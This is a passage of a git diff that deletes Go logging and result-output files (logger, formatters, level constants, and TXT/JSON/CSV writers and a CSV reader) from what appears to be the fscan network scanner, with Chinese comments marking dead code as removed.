- // 秒显示,保留一位小数
- return fmt.Sprintf("%.1fs", elapsed.Seconds())
- case elapsed < MaxMinuteDisplay:
- // 分钟和秒显示
- minutes := int(elapsed.Minutes())
- seconds := int(elapsed.Seconds()) % 60
- return fmt.Sprintf("%dm%ds", minutes, seconds)
- default:
- // 小时、分钟和秒显示
- hours := int(elapsed.Hours())
- minutes := int(elapsed.Minutes()) % 60
- seconds := int(elapsed.Seconds()) % 60
- return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
- }
-}
-
-// getLevelPrefix 获取日志级别前缀
-func (f *StandardFormatter) getLevelPrefix(level LogLevel) string {
- switch level {
- case LevelSuccess:
- return PrefixSuccess
- case LevelInfo:
- return PrefixInfo
- case LevelError:
- return PrefixError
- default:
- return PrefixDefault
- }
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):
-// DetailedFormatter 及其 Format() 方法
-// JSONFormatter 及其 SetStartTime() 和 Format() 方法
-// =============================================================================================
diff --git a/Common/logging/Logger.go b/Common/logging/Logger.go
deleted file mode 100644
index 3c3510f..0000000
--- a/Common/logging/Logger.go
+++ /dev/null
@@ -1,315 +0,0 @@
-package logging
-
-import (
- "fmt"
- "io"
- "log"
- "path/filepath"
- "runtime"
- "sync"
- "time"
-
- "github.com/fatih/color"
-)
-
-// Logger 日志管理器
-type Logger struct {
- mu sync.RWMutex
- config *LoggerConfig
- formatter LogFormatter
- handlers []LogHandler
- scanStatus *ScanStatus
- progressBar ProgressDisplay
- outputMutex *sync.Mutex
- initialized bool
-}
-
-// NewLogger 创建新的日志管理器
-func NewLogger(config *LoggerConfig) *Logger {
- if config == nil {
- config = DefaultLoggerConfig()
- }
-
- logger := &Logger{
- config: config,
- formatter: NewStandardFormatter(),
- handlers: make([]LogHandler, 0),
- scanStatus: NewScanStatus(),
- outputMutex: &sync.Mutex{},
- initialized: true,
- }
-
- // 设置格式化器的开始时间
- logger.formatter.SetStartTime(config.StartTime)
-
- // 添加默认的控制台处理器
- consoleHandler := NewConsoleHandler(config)
- logger.AddHandler(consoleHandler)
-
- return logger
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):SetFormatter 方法
-// =============================================================================================
-
-// AddHandler 添加日志处理器
-func (l *Logger) AddHandler(handler LogHandler) {
- l.mu.Lock()
- defer l.mu.Unlock()
- l.handlers = append(l.handlers, handler)
-}
-
-// SetProgressBar 设置进度条显示
-func (l *Logger) SetProgressBar(progressBar ProgressDisplay) {
- l.mu.Lock()
- defer l.mu.Unlock()
- l.progressBar = progressBar
-}
-
-// SetOutputMutex 设置输出互斥锁
-func (l *Logger) SetOutputMutex(mutex *sync.Mutex) {
- l.mu.Lock()
- defer l.mu.Unlock()
- l.outputMutex = mutex
-}
-
-// SetCoordinatedOutput 设置协调输出函数(用于进度条协调)
-func (l *Logger) SetCoordinatedOutput(fn func(string)) {
- l.mu.RLock()
- defer l.mu.RUnlock()
-
- for _, handler := range l.handlers {
- if consoleHandler, ok := handler.(*ConsoleHandler); ok {
- consoleHandler.SetCoordinatedOutput(fn)
- }
- }
-}
-
-// Log 记录日志
-func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) {
- if !l.shouldLog(level) {
- return
- }
-
- entry := &LogEntry{
- Level: level,
- Time: time.Now(),
- Content: content,
- }
-
- // 添加元数据
- if len(metadata) > 0 {
- entry.Metadata = metadata[0]
- }
-
- // 对于错误级别,自动添加调用者信息
- if level == LevelError {
- if _, file, line, ok := runtime.Caller(2); ok {
- entry.Source = fmt.Sprintf("%s:%d", filepath.Base(file), line)
- entry.Content = fmt.Sprintf("%s:%d - %s", filepath.Base(file), line, content)
- }
- }
-
- l.handleLogEntry(entry)
-
- // 更新扫描状态
- if level == LevelSuccess {
- l.scanStatus.UpdateSuccess()
- } else if level == LevelError {
- l.scanStatus.UpdateError()
- }
-}
-
-// shouldLog 检查是否应该记录该级别的日志
-func (l *Logger) shouldLog(level LogLevel) bool {
- switch l.config.Level {
- case LevelAll:
- return true
- case LevelBaseInfoSuccess:
- return level == LevelBase || level == LevelInfo || level == LevelSuccess
- case LevelInfoSuccess:
- return level == LevelInfo || level == LevelSuccess
- case LevelError:
- return level == LevelError
- case LevelBase:
- return level == LevelBase
- case LevelInfo:
- return level == LevelInfo
- case LevelSuccess:
- return level == LevelSuccess
- case LevelDebug:
- return level == LevelDebug
- default:
- // 向后兼容:如果是字符串 "debug",显示所有
- if l.config.Level == "debug" {
- return true
- }
- // 默认显示base、info和success
- return level == LevelBase || level == LevelInfo || level == LevelSuccess
- }
-}
-
-// handleLogEntry 处理日志条目
-func (l *Logger) handleLogEntry(entry *LogEntry) {
- l.outputMutex.Lock()
- defer l.outputMutex.Unlock()
-
- // 清除进度条
- l.clearProgress()
-
- // 使用所有处理器处理日志
- l.mu.RLock()
- for _, handler := range l.handlers {
- if handler.IsEnabled() {
- handler.Handle(entry)
- }
- }
- l.mu.RUnlock()
-
- // 恢复进度条
- l.restoreProgress()
-}
-
-// clearProgress 清除进度条
-func (l *Logger) clearProgress() {
- if l.progressBar != nil {
- l.progressBar.Clear() // 忽略错误
- time.Sleep(ProgressClearDelay)
- }
-}
-
-// restoreProgress 恢复进度条
-func (l *Logger) restoreProgress() {
- if l.progressBar != nil {
- l.progressBar.RenderBlank() // 忽略错误
- }
-}
-
-// 便利方法
-func (l *Logger) Debug(content string, metadata ...map[string]interface{}) {
- l.Log(LevelDebug, content, metadata...)
-}
-
-func (l *Logger) Base(content string, metadata ...map[string]interface{}) {
- l.Log(LevelBase, content, metadata...)
-}
-
-func (l *Logger) Info(content string, metadata ...map[string]interface{}) {
- l.Log(LevelInfo, content, metadata...)
-}
-
-func (l *Logger) Success(content string, metadata ...map[string]interface{}) {
- l.Log(LevelSuccess, content, metadata...)
-}
-
-func (l *Logger) Error(content string, metadata ...map[string]interface{}) {
- l.Log(LevelError, content, metadata...)
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):GetScanStatus 获取扫描状态管理器
-// =============================================================================================
-
-// Initialize 初始化日志系统(兼容原接口)
-func (l *Logger) Initialize() {
- // 禁用标准日志输出
- log.SetOutput(io.Discard)
-}
-
-// ConsoleHandler 控制台日志处理器
-type ConsoleHandler struct {
- config *LoggerConfig
- formatter LogFormatter
- enabled bool
- coordinatedOutput func(string) // 协调输出函数
- mu sync.RWMutex
-}
-
-// NewConsoleHandler 创建控制台处理器
-func NewConsoleHandler(config *LoggerConfig) *ConsoleHandler {
- formatter := NewStandardFormatter()
- formatter.SetStartTime(config.StartTime)
-
- return &ConsoleHandler{
- config: config,
- formatter: formatter,
- enabled: true,
- }
-}
-
-// Handle 处理日志条目
-func (h *ConsoleHandler) Handle(entry *LogEntry) {
- h.mu.RLock()
- defer h.mu.RUnlock()
-
- if !h.enabled {
- return
- }
-
- // 使用自己的格式化器格式化消息
- logMsg := h.formatter.Format(entry)
-
- // 使用协调输出函数,如果设置了的话
- if h.coordinatedOutput != nil {
- if h.config.EnableColor {
- if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
- if attr, ok := colorAttr.(color.Attribute); ok {
- coloredMsg := color.New(attr).Sprint(logMsg)
- h.coordinatedOutput(coloredMsg)
- } else {
- h.coordinatedOutput(logMsg)
- }
- } else {
- h.coordinatedOutput(logMsg)
- }
- } else {
- h.coordinatedOutput(logMsg)
- }
- } else {
- // 回到原来的直接输出方式
- if h.config.EnableColor {
- if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
- if attr, ok := colorAttr.(color.Attribute); ok {
- color.New(attr).Println(logMsg)
- } else {
- fmt.Println(logMsg)
- }
- } else {
- fmt.Println(logMsg)
- }
- } else {
- fmt.Println(logMsg)
- }
- }
-
- // 根据慢速输出设置决定是否添加延迟
- if h.config.SlowOutput {
- time.Sleep(SlowOutputDelay)
- }
-}
-
-// SetEnabled 设置处理器启用状态
-func (h *ConsoleHandler) SetEnabled(enabled bool) {
- h.mu.Lock()
- defer h.mu.Unlock()
- h.enabled = enabled
-}
-
-// SetCoordinatedOutput 设置协调输出函数
-func (h *ConsoleHandler) SetCoordinatedOutput(fn func(string)) {
- h.mu.Lock()
- defer h.mu.Unlock()
- h.coordinatedOutput = fn
-}
-
-// IsEnabled 检查处理器是否启用
-func (h *ConsoleHandler) IsEnabled() bool {
- h.mu.RLock()
- defer h.mu.RUnlock()
- return h.enabled
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):CheckErrs 错误检查函数
-// =============================================================================================
diff --git a/Common/logging/Types.go b/Common/logging/Types.go
deleted file mode 100644
index 3800a0f..0000000
--- a/Common/logging/Types.go
+++ /dev/null
@@ -1,103 +0,0 @@
-package logging
-
-import (
- "sync"
- "time"
-)
-
-
-// LogEntry 定义单条日志的结构
-type LogEntry struct {
- Level LogLevel `json:"level"` // 日志级别
- Time time.Time `json:"time"` // 日志时间
- Content string `json:"content"` // 日志内容
- Source string `json:"source"` // 日志来源
- Metadata map[string]interface{} `json:"metadata"` // 附加元数据
-}
-
-// LogFormatter 日志格式化器接口
-type LogFormatter interface {
- Format(entry *LogEntry) string
- SetStartTime(startTime time.Time)
-}
-
-// LogHandler 日志处理器接口
-type LogHandler interface {
- Handle(entry *LogEntry)
- SetEnabled(enabled bool)
- IsEnabled() bool
-}
-
-// LoggerConfig 日志器配置
-type LoggerConfig struct {
- Level LogLevel `json:"level"` // 日志级别
- EnableColor bool `json:"enable_color"` // 是否启用彩色输出
- SlowOutput bool `json:"slow_output"` // 是否启用慢速输出
- ShowProgress bool `json:"show_progress"` // 是否显示进度条
- StartTime time.Time `json:"start_time"` // 开始时间
- LevelColors map[LogLevel]interface{} `json:"-"` // 级别颜色映射
-}
-
-// DefaultLoggerConfig 默认日志器配置
-func DefaultLoggerConfig() *LoggerConfig {
- return &LoggerConfig{
- Level: DefaultLevel,
- EnableColor: DefaultEnableColor,
- SlowOutput: DefaultSlowOutput,
- ShowProgress: DefaultShowProgress,
- StartTime: time.Now(),
- LevelColors: convertColorMap(GetDefaultLevelColors()),
- }
-}
-
-// convertColorMap 将color.Attribute映射转换为interface{}映射
-func convertColorMap(colorMap map[LogLevel]interface{}) map[LogLevel]interface{} {
- result := make(map[LogLevel]interface{})
- for k, v := range colorMap {
- result[k] = v
- }
- return result
-}
-
-// ScanStatus 扫描状态管理器
-type ScanStatus struct {
- mu sync.RWMutex // 读写互斥锁
- total int64 // 总任务数
- completed int64 // 已完成任务数
- lastSuccess time.Time // 最近一次成功的时间
- lastError time.Time // 最近一次错误的时间
-}
-
-// NewScanStatus 创建新的扫描状态管理器
-func NewScanStatus() *ScanStatus {
- now := time.Now()
- return &ScanStatus{
- lastSuccess: now,
- lastError: now,
- }
-}
-
-// UpdateSuccess 更新最后成功时间
-func (s *ScanStatus) UpdateSuccess() {
- s.mu.Lock()
- defer s.mu.Unlock()
- s.lastSuccess = time.Now()
-}
-
-// UpdateError 更新最后错误时间
-func (s *ScanStatus) UpdateError() {
- s.mu.Lock()
- defer s.mu.Unlock()
- s.lastError = time.Now()
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):
-// GetLastSuccess, GetLastError, SetTotal, SetCompleted, GetProgress 方法
-// =============================================================================================
-
-// ProgressDisplay 进度条显示接口
-type ProgressDisplay interface {
- Clear() error
- RenderBlank() error
-}
\ No newline at end of file
diff --git a/Common/logging/constants.go b/Common/logging/constants.go
deleted file mode 100644
index 84b3dc2..0000000
--- a/Common/logging/constants.go
+++ /dev/null
@@ -1,86 +0,0 @@
-package logging
-
-/*
-constants.go - 日志系统常量定义
-
-统一管理common/logging包中的所有常量,便于查看和编辑。
-*/
-
-import (
- "time"
-
- "github.com/fatih/color"
-)
-
-// =============================================================================
-// 日志级别常量 (从Types.go迁移)
-// =============================================================================
-
-// LogLevel 日志级别类型
-type LogLevel string
-
-// 定义系统支持的日志级别常量
-const (
- LevelAll LogLevel = "ALL" // 显示所有级别日志
- LevelError LogLevel = "ERROR" // 仅显示错误日志
- LevelBase LogLevel = "BASE" // 仅显示基础信息日志
- LevelInfo LogLevel = "INFO" // 仅显示信息日志
- LevelSuccess LogLevel = "SUCCESS" // 仅显示成功日志
- LevelDebug LogLevel = "DEBUG" // 仅显示调试日志
- LevelInfoSuccess LogLevel = "INFO_SUCCESS" // 仅显示信息和成功日志
- LevelBaseInfoSuccess LogLevel = "BASE_INFO_SUCCESS" // 显示基础、信息和成功日志
-)
-
-// =============================================================================
-// 时间显示常量 (从Formatter.go迁移)
-// =============================================================================
-
-const (
- // 时间显示阈值
- MaxMillisecondDisplay = time.Second // 毫秒显示的最大时长
- MaxSecondDisplay = time.Minute // 秒显示的最大时长
- MaxMinuteDisplay = time.Hour // 分钟显示的最大时长
-
- // 慢速输出延迟
- SlowOutputDelay = 50 * time.Millisecond
-
- // 进度条清除延迟
- ProgressClearDelay = 10 * time.Millisecond
-)
-
-// =============================================================================
-// 日志前缀常量 (从Formatter.go迁移)
-// =============================================================================
-
-const (
- PrefixSuccess = "[+]" // 成功日志前缀
- PrefixInfo = "[*]" // 信息日志前缀
- PrefixError = "[-]" // 错误日志前缀
- PrefixDefault = " " // 默认日志前缀
-)
-
-// =============================================================================
-// 默认配置常量
-// =============================================================================
-
-const (
- DefaultLevel = LevelAll // 默认日志级别
- DefaultEnableColor = true // 默认启用彩色输出
- DefaultSlowOutput = false // 默认不启用慢速输出
- DefaultShowProgress = true // 默认显示进度条
-)
-
-// =============================================================================
-// 默认颜色映射
-// =============================================================================
-
-// GetDefaultLevelColors 获取默认的日志级别颜色映射
-func GetDefaultLevelColors() map[LogLevel]interface{} {
- return map[LogLevel]interface{}{
- LevelError: color.FgBlue, // 错误日志显示蓝色
- LevelBase: color.FgYellow, // 基础日志显示黄色
- LevelInfo: color.FgGreen, // 信息日志显示绿色
- LevelSuccess: color.FgRed, // 成功日志显示红色
- LevelDebug: color.FgWhite, // 调试日志显示白色
- }
-}
\ No newline at end of file
diff --git a/Common/output/Manager.go b/Common/output/Manager.go
deleted file mode 100644
index ada1c23..0000000
--- a/Common/output/Manager.go
+++ /dev/null
@@ -1,256 +0,0 @@
-package output
-
-import (
- "fmt"
- "os"
- "path/filepath"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-// Manager 输出管理器
-type Manager struct {
- mu sync.RWMutex
- config *ManagerConfig
- writer OutputWriter
- reader OutputReader
- statistics *Statistics
- buffer []*ScanResult
- bufferMutex sync.Mutex
- flushTicker *time.Ticker
- stopChan chan struct{}
- initialized bool
- closed bool
-}
-
-// NewManager 创建新的输出管理器
-func NewManager(config *ManagerConfig) (*Manager, error) {
- if config == nil {
- return nil, fmt.Errorf(i18n.GetText("output_config_nil"))
- }
-
- // 验证输出格式
- if err := validateFormat(config.Format); err != nil {
- return nil, err
- }
-
- // 创建输出目录
- if err := createOutputDir(config.OutputPath); err != nil {
- return nil, err
- }
-
- manager := &Manager{
- config: config,
- statistics: NewStatistics(),
- stopChan: make(chan struct{}),
- }
-
- // 初始化写入器
- if err := manager.initializeWriter(); err != nil {
- return nil, err
- }
-
- // 初始化读取器
- manager.initializeReader()
-
- // 如果启用缓冲,初始化缓冲区
- if config.EnableBuffer {
- manager.buffer = make([]*ScanResult, 0, config.BufferSize)
-
- // 如果启用自动刷新,启动定时器
- if config.AutoFlush {
- manager.startAutoFlush()
- }
- }
-
- manager.initialized = true
- return manager, nil
-}
-
-// validateFormat 验证输出格式
-func validateFormat(format OutputFormat) error {
- switch format {
- case FormatTXT, FormatJSON, FormatCSV:
- return nil
- default:
- return fmt.Errorf(i18n.GetText("output_unsupported_format"), format)
- }
-}
-
-// createOutputDir 创建输出目录
-func createOutputDir(outputPath string) error {
- dir := filepath.Dir(outputPath)
- return os.MkdirAll(dir, DefaultDirPermissions)
-}
-
-// initializeWriter 初始化写入器
-func (m *Manager) initializeWriter() error {
- var writer OutputWriter
- var err error
-
- switch m.config.Format {
- case FormatTXT:
- writer, err = NewTXTWriter(m.config.OutputPath)
- case FormatJSON:
- writer, err = NewJSONWriter(m.config.OutputPath)
- case FormatCSV:
- writer, err = NewCSVWriter(m.config.OutputPath)
- default:
- return fmt.Errorf(i18n.GetText("output_unsupported_format"), m.config.Format)
- }
-
- if err != nil {
- return fmt.Errorf(i18n.GetText("output_writer_init_failed"), err)
- }
-
- m.writer = writer
-
- // 写入头部(如果需要)
- return m.writer.WriteHeader()
-}
-
-// initializeReader 初始化读取器
-func (m *Manager) initializeReader() {
- // 目前只有CSV格式支持读取
- if m.config.Format == FormatCSV {
- m.reader = NewCSVReader(m.config.OutputPath)
- }
-}
-
-// startAutoFlush 启动自动刷新
-func (m *Manager) startAutoFlush() {
- m.flushTicker = time.NewTicker(m.config.FlushInterval)
- go func() {
- for {
- select {
- case <-m.flushTicker.C:
- m.flushBuffer()
- case <-m.stopChan:
- return
- }
- }
- }()
-}
-
-// SaveResult 保存扫描结果
-func (m *Manager) SaveResult(result *ScanResult) error {
- m.mu.RLock()
- defer m.mu.RUnlock()
-
- if !m.initialized {
- return fmt.Errorf(i18n.GetText("output_manager_not_init"))
- }
-
- if m.closed {
- return fmt.Errorf(i18n.GetText("output_manager_closed"))
- }
-
- // 更新统计信息
- m.statistics.AddResult(result.Type)
-
- // 如果启用缓冲,先添加到缓冲区
- if m.config.EnableBuffer {
- return m.addToBuffer(result)
- }
-
- // 直接写入
- return m.writer.Write(result)
-}
-
-// addToBuffer 添加结果到缓冲区
-func (m *Manager) addToBuffer(result *ScanResult) error {
- m.bufferMutex.Lock()
- defer m.bufferMutex.Unlock()
-
- m.buffer = append(m.buffer, result)
-
- // 如果缓冲区已满,立即刷新
- if len(m.buffer) >= m.config.BufferSize {
- return m.flushBufferUnsafe()
- }
-
- return nil
-}
-
-// flushBuffer 刷新缓冲区(加锁版本)
-func (m *Manager) flushBuffer() error {
- m.bufferMutex.Lock()
- defer m.bufferMutex.Unlock()
- return m.flushBufferUnsafe()
-}
-
-// flushBufferUnsafe 刷新缓冲区(无锁版本,内部使用)
-func (m *Manager) flushBufferUnsafe() error {
- if len(m.buffer) == 0 {
- return nil
- }
-
- // 批量写入
- for _, result := range m.buffer {
- if err := m.writer.Write(result); err != nil {
- return fmt.Errorf(i18n.GetText("output_write_failed"), err)
- }
- }
-
- // 刷新写入器
- if err := m.writer.Flush(); err != nil {
- return fmt.Errorf(i18n.GetText("output_flush_failed"), err)
- }
-
- // 清空缓冲区
- m.buffer = m.buffer[:0]
- return nil
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):
-// GetResults, GetResultsWithFilter, GetStatistics, Flush 方法
-// =============================================================================================
-
-// Close 关闭输出管理器
-func (m *Manager) Close() error {
- m.mu.Lock()
- defer m.mu.Unlock()
-
- if m.closed {
- return nil
- }
-
- // 停止自动刷新
- if m.flushTicker != nil {
- m.flushTicker.Stop()
- close(m.stopChan)
- }
-
- // 最后一次刷新缓冲区
- if m.config.EnableBuffer {
- m.flushBufferUnsafe()
- }
-
- // 关闭写入器
- var err error
- if m.writer != nil {
- err = m.writer.Close()
- }
-
- // 关闭读取器
- if m.reader != nil {
- if closeErr := m.reader.Close(); closeErr != nil && err == nil {
- err = closeErr
- }
- }
-
- m.closed = true
- return err
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):
-// IsInitialized, IsClosed, GetConfig, UpdateConfig 方法
-// =============================================================================================
-
-// =============================================================================================
-// 已删除的死代码(未使用):globalManager 全局变量及 SetGlobalManager 函数
-// =============================================================================================
diff --git a/Common/output/Types.go b/Common/output/Types.go
deleted file mode 100644
index 612d977..0000000
--- a/Common/output/Types.go
+++ /dev/null
@@ -1,102 +0,0 @@
-package output
-
-import (
- "sync"
- "time"
-)
-
-
-
-// ScanResult 扫描结果结构
-type ScanResult struct {
- Time time.Time `json:"time"` // 发现时间
- Type ResultType `json:"type"` // 结果类型
- Target string `json:"target"` // 目标(IP/域名/URL)
- Status string `json:"status"` // 状态描述
- Details map[string]interface{} `json:"details"` // 详细信息
-}
-
-// OutputWriter 输出写入器接口
-type OutputWriter interface {
- Write(result *ScanResult) error
- WriteHeader() error
- Flush() error
- Close() error
- GetFormat() OutputFormat
-}
-
-// OutputReader 输出读取器接口
-type OutputReader interface {
- Read() ([]*ScanResult, error)
- ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error)
- Close() error
-}
-
-// ResultFilter 结果过滤器
-type ResultFilter struct {
- Types []ResultType `json:"types"` // 过滤的结果类型
- Targets []string `json:"targets"` // 过滤的目标
- TimeRange *TimeRange `json:"time_range"` // 时间范围
- Limit int `json:"limit"` // 限制数量
- Offset int `json:"offset"` // 偏移量
-}
-
-// TimeRange 时间范围
-type TimeRange struct {
- Start time.Time `json:"start"` // 开始时间
- End time.Time `json:"end"` // 结束时间
-}
-
-// ManagerConfig 输出管理器配置
-type ManagerConfig struct {
- OutputPath string `json:"output_path"` // 输出路径
- Format OutputFormat `json:"format"` // 输出格式
- EnableBuffer bool `json:"enable_buffer"` // 是否启用缓冲
- BufferSize int `json:"buffer_size"` // 缓冲区大小
- AutoFlush bool `json:"auto_flush"` // 是否自动刷新
- FlushInterval time.Duration `json:"flush_interval"` // 刷新间隔
-}
-
-// DefaultManagerConfig 默认管理器配置
-func DefaultManagerConfig(outputPath string, format OutputFormat) *ManagerConfig {
- return &ManagerConfig{
- OutputPath: outputPath,
- Format: format,
- EnableBuffer: DefaultEnableBuffer,
- BufferSize: DefaultBufferSize,
- AutoFlush: DefaultAutoFlush,
- FlushInterval: DefaultFlushInterval,
- }
-}
-
-// Statistics 输出统计信息
-type Statistics struct {
- mu sync.RWMutex
- TotalResults int64 `json:"total_results"` // 总结果数
- TypeCounts map[ResultType]int64 `json:"type_counts"` // 各类型计数
- StartTime time.Time `json:"start_time"` // 开始时间
- LastUpdate time.Time `json:"last_update"` // 最后更新时间
-}
-
-// NewStatistics 创建新的统计信息
-func NewStatistics() *Statistics {
- return &Statistics{
- TypeCounts: make(map[ResultType]int64),
- StartTime: time.Now(),
- LastUpdate: time.Now(),
- }
-}
-
-// AddResult 添加结果统计
-func (s *Statistics) AddResult(resultType ResultType) {
- s.mu.Lock()
- defer s.mu.Unlock()
- s.TotalResults++
- s.TypeCounts[resultType]++
- s.LastUpdate = time.Now()
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):
-// GetTotalResults, GetTypeCounts, GetDuration, Reset 方法
-// =============================================================================================
diff --git a/Common/output/Writers.go b/Common/output/Writers.go
deleted file mode 100644
index 0ace2f7..0000000
--- a/Common/output/Writers.go
+++ /dev/null
@@ -1,459 +0,0 @@
-package output
-
-import (
- "encoding/csv"
- "encoding/json"
- "fmt"
- "os"
- "strings"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-// TXTWriter 文本格式写入器
-type TXTWriter struct {
- file *os.File
- mu sync.Mutex
- closed bool
-}
-
-// NewTXTWriter 创建文本写入器
-func NewTXTWriter(filePath string) (*TXTWriter, error) {
- file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
- if err != nil {
- return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "文本", err)
- }
-
- return &TXTWriter{
- file: file,
- }, nil
-}
-
-// WriteHeader 写入头部(文本格式无需头部)
-func (w *TXTWriter) WriteHeader() error {
- return nil
-}
-
-// Write 写入扫描结果
-func (w *TXTWriter) Write(result *ScanResult) error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return fmt.Errorf(i18n.GetText("output_writer_closed"))
- }
-
- // 格式化 Details 为键值对字符串
- var details string
- if len(result.Details) > 0 {
- pairs := make([]string, 0, len(result.Details))
- for k, v := range result.Details {
- pairs = append(pairs, fmt.Sprintf(TxtKeyValueFormat, k, v))
- }
- details = strings.Join(pairs, TxtDetailsSeparator)
- }
-
- // 使用类似原有格式的文本输出
- txt := fmt.Sprintf(TxtOutputTemplate,
- result.Time.Format(TxtTimeFormat),
- result.Type,
- result.Target,
- result.Status,
- )
- if details != "" {
- txt += fmt.Sprintf(TxtDetailsFormat, details)
- }
- txt += TxtNewline
-
- _, err := w.file.WriteString(txt)
- return err
-}
-
-// Flush 刷新缓冲区
-func (w *TXTWriter) Flush() error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return nil
- }
-
- return w.file.Sync()
-}
-
-// Close 关闭写入器
-func (w *TXTWriter) Close() error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return nil
- }
-
- w.closed = true
- return w.file.Close()
-}
-
-// GetFormat 获取格式类型
-func (w *TXTWriter) GetFormat() OutputFormat {
- return FormatTXT
-}
-
-// JSONWriter JSON格式写入器
-type JSONWriter struct {
- file *os.File
- encoder *json.Encoder
- mu sync.Mutex
- closed bool
-}
-
-// NewJSONWriter 创建JSON写入器
-func NewJSONWriter(filePath string) (*JSONWriter, error) {
- file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
- if err != nil {
- return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "JSON", err)
- }
-
- encoder := json.NewEncoder(file)
- encoder.SetIndent(JSONIndentPrefix, JSONIndentString)
-
- return &JSONWriter{
- file: file,
- encoder: encoder,
- }, nil
-}
-
-// WriteHeader 写入头部(JSON格式无需头部)
-func (w *JSONWriter) WriteHeader() error {
- return nil
-}
-
-// Write 写入扫描结果
-func (w *JSONWriter) Write(result *ScanResult) error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return fmt.Errorf(i18n.GetText("output_writer_closed"))
- }
-
- return w.encoder.Encode(result)
-}
-
-// Flush 刷新缓冲区
-func (w *JSONWriter) Flush() error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return nil
- }
-
- return w.file.Sync()
-}
-
-// Close 关闭写入器
-func (w *JSONWriter) Close() error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return nil
- }
-
- w.closed = true
- return w.file.Close()
-}
-
-// GetFormat 获取格式类型
-func (w *JSONWriter) GetFormat() OutputFormat {
- return FormatJSON
-}
-
-// CSVWriter CSV格式写入器
-type CSVWriter struct {
- file *os.File
- csvWriter *csv.Writer
- mu sync.Mutex
- closed bool
- headerWritten bool
-}
-
-// NewCSVWriter 创建CSV写入器
-func NewCSVWriter(filePath string) (*CSVWriter, error) {
- file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
- if err != nil {
- return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "CSV", err)
- }
-
- csvWriter := csv.NewWriter(file)
-
- return &CSVWriter{
- file: file,
- csvWriter: csvWriter,
- }, nil
-}
-
-// WriteHeader 写入CSV头部
-func (w *CSVWriter) WriteHeader() error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.headerWritten {
- return nil
- }
-
- headers := CSVHeaders
- err := w.csvWriter.Write(headers)
- if err != nil {
- return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
- }
-
- w.csvWriter.Flush()
- w.headerWritten = true
- return w.csvWriter.Error()
-}
-
-// Write 写入扫描结果
-func (w *CSVWriter) Write(result *ScanResult) error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return fmt.Errorf(i18n.GetText("output_writer_closed"))
- }
-
- // 确保头部已写入
- if !w.headerWritten {
- if err := w.writeHeaderUnsafe(); err != nil {
- return err
- }
- }
-
- // 序列化Details为JSON字符串
- details, err := json.Marshal(result.Details)
- if err != nil {
- details = []byte(EmptyJSONObject)
- }
-
- record := []string{
- result.Time.Format(DefaultTimeFormat),
- string(result.Type),
- result.Target,
- result.Status,
- string(details),
- }
-
- err = w.csvWriter.Write(record)
- if err != nil {
- return err
- }
-
- w.csvWriter.Flush()
- return w.csvWriter.Error()
-}
-
-// writeHeaderUnsafe 不安全的写入头部(内部使用,无锁)
-func (w *CSVWriter) writeHeaderUnsafe() error {
- if w.headerWritten {
- return nil
- }
-
- headers := CSVHeaders
- err := w.csvWriter.Write(headers)
- if err != nil {
- return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
- }
-
- w.csvWriter.Flush()
- w.headerWritten = true
- return w.csvWriter.Error()
-}
-
-// Flush 刷新缓冲区
-func (w *CSVWriter) Flush() error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return nil
- }
-
- w.csvWriter.Flush()
- return w.csvWriter.Error()
-}
-
-// Close 关闭写入器
-func (w *CSVWriter) Close() error {
- w.mu.Lock()
- defer w.mu.Unlock()
-
- if w.closed {
- return nil
- }
-
- w.csvWriter.Flush()
- err := w.csvWriter.Error()
- w.closed = true
-
- if fileErr := w.file.Close(); fileErr != nil && err == nil {
- err = fileErr
- }
-
- return err
-}
-
-// GetFormat 获取格式类型
-func (w *CSVWriter) GetFormat() OutputFormat {
- return FormatCSV
-}
-
-// CSVReader CSV格式读取器
-type CSVReader struct {
- filePath string
- mu sync.Mutex
-}
-
-// NewCSVReader 创建CSV读取器
-func NewCSVReader(filePath string) *CSVReader {
- return &CSVReader{
- filePath: filePath,
- }
-}
-
-// Read 读取所有结果
-func (r *CSVReader) Read() ([]*ScanResult, error) {
- return r.ReadWithFilter(nil)
-}
-
-// ReadWithFilter 带过滤条件读取结果
-func (r *CSVReader) ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error) {
- r.mu.Lock()
- defer r.mu.Unlock()
-
- file, err := os.Open(r.filePath)
- if err != nil {
- return nil, fmt.Errorf(i18n.GetText("output_open_file_failed"), err)
- }
- defer file.Close()
-
- reader := csv.NewReader(file)
- records, err := reader.ReadAll()
- if err != nil {
- return nil, fmt.Errorf(i18n.GetText("output_read_file_failed"), err)
- }
-
- var results []*ScanResult
- for i, row := range records {
- // 跳过CSV头部
- if i == CSVHeaderRowIndex {
